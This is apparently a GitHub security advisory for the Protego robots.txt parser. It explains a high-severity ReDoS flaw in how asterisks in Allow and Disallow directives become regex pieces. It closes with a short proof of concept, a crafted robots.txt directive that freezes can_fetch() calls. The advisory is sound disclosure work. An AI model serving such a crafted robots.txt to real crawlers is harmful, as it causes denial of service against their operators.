scrapy/protego · Security
Protego has exponential backtracking ReDoS in robots.txt URL wildcard matching
- GHSA ID
- GHSA-wjmf-p669-5m5p
- CVE ID
- CVE-2026-55520
- Severity
- high
- Published
- Updated
- CVSS v4
- 7.1 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Description
Problem description
Protego constructs regular expressions to match URLs against robots.txt Allow: and Disallow: directives, see protego._urlpattern._URLPattern._prepare_pattern_for_regex(). Every * in the directive value is translated into a lazy .*? regex piece, thus a specially crafted directive value with many asterisks may produce a regex that freezes the parser due to exponential backtracking.
Impact
Parsing a specially crafted robots.txt with protego.Protego.parse() and then trying to match an URL with protego.Protego.can_fetch() results in the latter call not returning for a period dependent on the length of the URL.
Proof of concept
from protego import Protego
robotstxt = f"""
User-agent: *
Disallow: /{"*1" * 12}*Z
"""
rp = Protego.parse(robotstxt)
url = "/" + "1" * 60
rp.can_fetch(url, "mybot") # freezes
CWEs
- CWE-400 · Uncontrolled Resource Consumption
- CWE-1333 · Inefficient Regular Expression Complexity